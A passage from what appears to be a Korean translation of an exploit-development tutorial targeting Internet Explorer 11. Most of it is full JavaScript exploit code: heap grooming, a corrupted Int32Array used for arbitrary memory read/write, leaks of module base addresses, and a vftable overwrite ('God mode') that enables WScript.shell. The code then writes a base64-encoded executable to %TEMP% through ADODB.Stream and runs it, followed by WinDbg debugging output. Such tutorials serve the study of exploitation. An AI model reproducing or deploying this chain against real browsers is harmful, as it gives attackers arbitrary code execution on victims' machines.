    for (i = 0x200; i < 0x200 + 0x400++i) {
      if (a[i][0x3bf7!= 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7= obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10- 0x58b9a;
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc555e0+0x14, old);      // God mode off!
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
cs


IE에서 위 파일을 열고 알림창이 뜰 때 WinDbg로 들어가서 0x0c0af01b에 있는 바이트를 0x20으로 변경하거나 0x0c0af018 dword 0x20000000로 변경합니다. 알림창을 끄게 되면 계산기가 뜨게 됩니다. 만약 에러가 발생해도 걱정하지 말고 위 과정을 다시 반복합니다.



임의 코드 실행


공격 대상 컴퓨터에서 어떻게 실행을 하는지 보았습니다. 이제 어떻게 임의 코드를 실행 하는지 보도록 하겠습니다. 방법으로는 .exe 파일을 생성하고 실행하는 것 입니다. 아래 코드는 이 행위를 하는 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<html>
<head>
<script language="javascript">
  // content of exe file encoded in base64.
  runcalc = ... put base64 encoded exe here ...
 
  function createExe(fname, data) {
    var tStream = new ActiveXObject("ADODB.Stream");
    var bStream = new ActiveXObject("ADODB.Stream");
    
    tStream.Type = 2;       // text
    bStream.Type = 1;       // binary
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
    tStream.Close();
    bStream.Close();
  }
 
  function decode(b64Data) {
    var data = window.atob(b64Data);
    
    // Now data is like
    //   11 00 12 00 45 00 50 00 ...
    // rather than like
    //   11 12 45 50 ...
    // Let's fix this!
    var arr = new Array();
    for (var i = 0; i < data.length / 2++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
  }
 
  shell = new ActiveXObject("WScript.shell");
  fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
  createExe(fname, decode(runcalc));
  shell.Exec(fname);
</script>
</head>
<body>
</body>
</html>
cs


코드 자체는 딱히 흥미롭지 않기 때문에 이 코드가 어떻게 실행되는지는 깊게 설명하지 않겠습니다.

 

먼저, 계산기를 띄우는 간단한 프로그램을 만듭니다. 실제로는 좀더 유용하게 코드를 만들어야 하지만 데모 용도로는 충분합니다.

 

Visual Studio 2013에서 다음 코드로 C/C++ Win32 Project를 생성합니다.


1
2
3
4
5
6
7
8
9
10
#include "windows.h"
 
int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow) {
    WinExec("calc.exe", SW_SHOW);
    return 0;
}
cs


프로젝트의 속성은 다음과 같이 설정합니다.

  • [Release]
    • Configuration Properties
      • C/C++
        • Code Generation
          • Runtime Library: Multi-threaded (/MT)

이 속성을 통해 런타임 라이브러리를 정적 링크 함으로써 실행 파일이 단독으로 동작할 수 있도록 합니다. Release 버전으로 빌드하게 되면 68-KB 파일이 생성되고 저는 파일 이름을 runcalc.exe로 만들었습니다.

 

runcalc.exe base64로 인코딩 하는 파이썬 스크립트는 다음과 같습니다.


1
2
3
4
import base64
 
with open(r'c:\runcalc.exe''rb') as f:
  print(base64.b64encode(f.read()))
cs


이제 인코딩된 데이터를 자바스크립트에 넣으면 다음과 같습니다.


1
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA <snipped> AAAAAAAAAAAAAAAAAA';
cs


인코딩된 문자열은 너무 길어 생략을 했습니다. 아래 링크에서 다운로드 하시면 됩니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/runcalc.zip


IE에서 html 파일을 열면 계산기가 뜨지 않는 것을 볼 수 있습니다. 뭐가 문제인지 보기위해 Developer Tools (F12)에 들어가 Console tab을 열고 페이지를 다시 불러오면 다음과 같은 내용을 얻게 됩니다.



문제는 마이크로소프트에서 IE 에서 ADODB.Stream을 비활성화 했는데 그 이유는 ADODB.Stream이 본질적으로 안전하지 않기 때문입니다. acm이라 불리는 유틸리티를 이용하여 이를 다시 활성화 시켜보도록 하겠습니다.

  • http://www.nirsoft.net/utils/acm.html

 

acm을 설치하고 실행시켜서 ADODB.Stream을 활성화 시키면 다음과 같이 볼 수 있습니다.



이제 IE를 다시 실행하고 html 파일을 다시 엽니다. 이번에는 계산기가 뜨는 것을 볼 수 있습니다.


하지만 아직 모든 문제가 해결된 것은 아닙니다.

 

SimpleServer:WWW 라는 유틸리티를 다운받습니다.

  • http://www.analogx.com/contents/download/Network/sswww/Freeware.htm

 

이 프로그램을 이용하여 웹 서버에서 html 파일을 실행 할 수 있도록 합니다. SimpleServer의 설정은 간단합니다. 데스크랍에 WebDir이라는 폴더를 생성하고 html파일을 해당 폴더에 넣고 SimpleServer를 실행하여 html file을 선택해주면 됩니다.



Start를 클릭합니다. 이제 IE에서 주소 127.0.0.1를 넣어 페이지를 불러옵니다. 계산기가 뜨지 않습니다... 다시 개발자 툴(Developr Tools)로 들어가 뭐가 문젠지 살펴 봅니다.



서버에서 페이지를 받았을 때 뭔가 잘못된 것 같습니다설정을 다음과 같이 변경합니다.



페이지를 다시 불러오면 다른 에러를 보게 됩니다.



이제 모든 문제를 해결할 시간입니다. IE에서 설정들을 모두 초기화 하고 acm 유틸리티에서 ADODB.Stream을 다시 비활성화 시킵니다. 아래는 지금까지 작업한 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4>> k*8|
               (int32array[(address-k+4)/4<< (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4= value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4= low;
        int32array[(address-k+4)/4= high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000- 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400++i)
      a[i][0x3bf7= 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-43);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      if (a[i][0x3bf7!= 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7= obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10- 0x58b9a;
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    shell = new ActiveXObject("WScript.shell");
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    write(mshtml+0xc555e0+0x14, old);      // God mode off!
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
cs


runcalc 값은 너무 길어 생략했습니다. 코드는 아래 링크에서 다운받아주세요.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/code1.zip

 

SimpleServer로 위 코드를 서비스합니다. IE에서 127.0.0.1로 들어가서 팝업이 뜨게 되면 WinDbg에서 어떤 메시지가 뜨는지 봅니다. 아쉽지만 IE는 다음 위치에서 충돌이 발생합니다.


6ef82798 90              nop

IEFRAME!CDocObjectHost::_ScriptErr_Dlg:

6ef82799 8bff            mov     edi,edi

6ef8279b 55              push    ebp

6ef8279c 8bec            mov     ebp,esp

6ef8279e b870100000      mov     eax,1070h

6ef827a3 e86ee8f0ff      call    IEFRAME!_alloca_probe (6ee91016)

6ef827a8 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]

6ef827ad 33c5            xor     eax,ebp

6ef827af 8945fc          mov     dword ptr [ebp-4],eax

6ef827b2 53              push    ebx

6ef827b3 33db            xor     ebx,ebx

6ef827b5 57              push    edi

6ef827b6 8bf9            mov     edi,ecx

6ef827b8 399e78050000    cmp     dword ptr [esi+578h],ebx ds:002b:00000578=????????   <--------------------

6ef827be 0f84b8890c00    je      IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x3d (6f04b17c)

6ef827c4 e99d890c00      jmp     IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x27 (6f04b166)

6ef827c9 90              nop

6ef827ca 90              nop

6ef827cb 90              nop

6ef827cc 90              nop

6ef827cd 90              nop

IEFRAME!CDocObjectHost::_ScriptErr_CacheInfo:

6ef827ce 8bff            mov     edi,edi

6ef827d0 55              push    ebp

6ef827d1 8bec            mov     ebp,esp

6ef827d3 81eca8000000    sub     esp,0A8h

6ef827d9 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]

6ef827de 33c5            xor     eax,ebp


아마 우리의 God Mode에서 문제가 생긴 것 같습니다. 자바스크립트 수정을 통해 문제를 찾아 보도록 하겠습니다.


1
2
3
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
alert("bp on " + (mshtml+0xc555e0+0x14).toString(16));
cs


God Mode가 활성화된 직후 알림창을 추가했습니다. IE WinDbg를 다시 실행하고 전체 과정을 다시 반복합니다.

 

저는 엄청나게 에러 메시지 박스가 떳습니다. 몇몇 값들을 수정하여 상황이 좀 더 나아졌는지 확인해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300++i) {           // <------------ from 0x200 to 0x300
      a[i] = new Array(0x3c00);
      if (i == 0x100)                       // <------------ from 0x80 to 0x100
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400++i) {        // <------------ from 0x200 to 0x300
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400++i) {       // <------------ from 0x200 to 0x300
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
cs


, 이제 좀 나아졌군요! 제 시스템에서는 좀 더 안정적으로 되었습니다.

 

최종적으로, vftable에 수정된 entry의 주소가 알림창에 뜹니다. 제 경우에는 bp on 6d0f55f4로 뜹니다. 위 주소에 접근할 때 breakpoint를 걸어 보도록 하겠습니다.


ba r4 mshtml+0xc555e0+0x14


F5를 누른 뒤에 다이얼로그를 닫으면 아래 위치에서 멈추게 됩니다.


0555c15a 5f              pop     edi

0555c15b 5e              pop     esi

0555c15c 33cd            xor     ecx,ebp

0555c15e 5b              pop     ebx

0555c15f e8da51f2ff      call    jscript9!__security_check_cookie (0548133e)

0555c164 c9              leave         <-------------------- we are here

0555c165 c20400          ret     4


스택 트레이스는 다음과 같습니다.


0:007> k 5

ChildEBP RetAddr  

03e0bbb4 0555bfae jscript9!ScriptEngine::CanObjectRun+0xaf

03e0bc00 0555bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf

03e0bc44 0555bd69 jscript9!ScriptSite::CreateActiveXObject+0x56

03e0bc78 054c25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90

03e0bcd0 054ccd4a jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6


이제 CreateActiveXObject 내부에 있게 되고 모든 것이 잘 동작하는 것 같습니다. F5를 다시 누르게 되면 동일한 위치에서 실행이 멈추게 되는데 이 때 스택 트레이스가 좀 다르게 나옵니다.


0:007> k 10

ChildEBP RetAddr  

03e0a4dc 6eeb37aa jscript9!ScriptEngine::CanObjectRun+0xaf

03e0b778 6eedac3e IEFRAME!CDocObjectHost::OnExec+0xf9d

03e0b7a8 6c9d7e9a IEFRAME!CDocObjectHost::Exec+0x23d

03e0b810 6c9d7cc7 MSHTML!CWindow::ShowErrorDialog+0x95

03e0b954 6c9d7b68 MSHTML!COmWindowProxy::Fire_onerror+0xc6

03e0bbc0 6c9d7979 MSHTML!CMarkup::ReportScriptError+0x179

03e0bc40 0555dbe4 MSHTML!CActiveScriptHolder::OnScriptError+0x14e

03e0bc50 0555e516 jscript9!ScriptEngine::OnScriptError+0x17

03e0bc6c 0555e4b6 jscript9!ScriptSite::ReportError+0x56

03e0bc78 0555e460 jscript9!ScriptSite::HandleJavascriptException+0x1b

03e0c3d8 05492027 jscript9!ScriptSite::CallRootFunction+0x6d

03e0c400 0553df75 jscript9!ScriptSite::Execute+0x61

03e0c48c 0553db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9

03e0c514 0553e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad

03e0c568 6c74b60c jscript9!ScriptEngine::ParseScriptText+0x5b

03e0c5a0 6c74945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42


좀 더 진행해보면 IE에서 이 전과 동일하게 충돌이 발생하게 됩니다. 우리의 God Mode에서 문제가 있는 것 같습니다. 아마 우리가 수정한 vftable이 같은 종류의 다른 객체들에서 사용되어 문제가 발생하는 것 같습니다. 원본 vftable의 수정된 복사본을 생성하고 해당 객체가 이를 가리키도록 합니다.

댓글